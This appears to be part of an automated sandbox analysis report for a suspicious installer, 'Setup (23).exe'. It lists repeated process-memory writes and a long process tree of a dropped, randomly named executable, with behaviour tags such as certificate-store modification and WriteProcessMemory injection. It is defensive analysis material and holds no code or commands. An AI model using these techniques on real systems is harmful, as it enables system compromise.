PID 1208 wrote to memory of 436	1208	Setup (23).exe	31
PID 1208 wrote to memory of 436	1208	Setup (23).exe	31
PID 1208 wrote to memory of 436	1208	Setup (23).exe	31
PID 1208 wrote to memory of 436	1208	Setup (23).exe	31
PID 1208 wrote to memory of 912	1208	Setup (23).exe	33
PID 1208 wrote to memory of 912	1208	Setup (23).exe	33
PID 1208 wrote to memory of 912	1208	Setup (23).exe	33
PID 1208 wrote to memory of 912	1208	Setup (23).exe	33
PID 1208 wrote to memory of 968	1208	Setup (23).exe	32
PID 1208 wrote to memory of 968	1208	Setup (23).exe	32
PID 1208 wrote to memory of 968	1208	Setup (23).exe	32
PID 1208 wrote to memory of 968	1208	Setup (23).exe	32
PID 1208 wrote to memory of 2024	1208	Setup (23).exe	38
PID 1208 wrote to memory of 2024	1208	Setup (23).exe	38
PID 1208 wrote to memory of 2024	1208	Setup (23).exe	38
PID 1208 wrote to memory of 2024	1208	Setup (23).exe	38
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1532	1208	Setup (23).exe	40
PID 1208 wrote to memory of 1324	1208	Setup (23).exe	39
PID 1208 wrote to memory of 1324	1208	Setup (23).exe	39
PID 1208 wrote to memory of 1324	1208	Setup (23).exe	39
PID 1208 wrote to memory of 1324	1208	Setup (23).exe	39
PID 1208 wrote to memory of 1956	1208	Setup (23).exe	46
PID 1208 wrote to memory of 1956	1208	Setup (23).exe	46
PID 1208 wrote to memory of 1956	1208	Setup (23).exe	46
PID 1208 wrote to memory of 1956	1208	Setup (23).exe	46
PID 1208 wrote to memory of 832	1208	Setup (23).exe	45
PID 1208 wrote to memory of 832	1208	Setup (23).exe	45
PID 1208 wrote to memory of 832	1208	Setup (23).exe	45
PID 1208 wrote to memory of 832	1208	Setup (23).exe	45
PID 1208 wrote to memory of 832	1208	Setup (23).exe	45
PID 1208 wrote to memory of 832	1208	Process not Found	45
PID 1208 wrote to memory of 832	1208	Process not Found	45
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1972	1208	Process not Found	44
PID 1208 wrote to memory of 1176	1208	Process not Found	42
PID 1208 wrote to memory of 1176	1208	Process not Found	42
PID 1208 wrote to memory of 1176	1208	Process not Found	42
PID 1208 wrote to memory of 1176	1208	Process not Found	42
PID 1208 wrote to memory of 904	1208	Process not Found	41
PID 1208 wrote to memory of 904	1208	Process not Found	41
PID 1208 wrote to memory of 904	1208	Process not Found	41
PID 1208 wrote to memory of 904	1208	Process not Found	41
PID 1208 wrote to memory of 2040	1208	Process not Found	49
PID 1208 wrote to memory of 2040	1208	Process not Found	49
PID 1208 wrote to memory of 2040	1208	Process not Found	49

C:\Users\Admin\AppData\Local\Temp\Setup (23).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (23).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
  "C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe"
  2⤵
  - Executes dropped EXE
  PID:436
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:860
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2128
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2212
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2008
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2676
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2544
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3364
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3780
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1164
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3540
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2700
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3252
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3620
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3932
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1960
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4460
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4856
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5112
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4624
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4380
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4224
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3120
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1724
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5336
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5700
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6128
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5316
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5168
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5716
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2816
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5408
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5172
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6240
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6584
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6984
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6336
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6748
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6392
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4524
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6292
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4496
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5060
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5452
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5656
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7336
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7528
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7652
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7804
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7920
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8064
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7192
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7416
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7496
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7688
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7864
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1664
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7912
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:5308
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1384
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6668
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7096
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3264
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3412
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6988
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2260
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7512
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7104
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4204
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2224
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6504
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7700
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6764
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4216
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6616
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1404
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8164
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4244
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8028
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7060
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8124
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2044
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8164
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3132
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6504
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7504
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1352
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6272
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7960
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7084
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2656
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3068
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3968
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3508
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:6004
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7592
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8280
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8424
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8592
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8752
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8988
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9108
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9500
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9688
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9812
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9940
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10072
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10236
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9356
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9244
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:532
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9168
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2272
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9860
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8960
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8320
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9144
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:1116
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7308
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4056
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9428
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3212
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8256
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:2180
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8700
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8916
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9900
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8704
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3344
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:3560
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10120
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
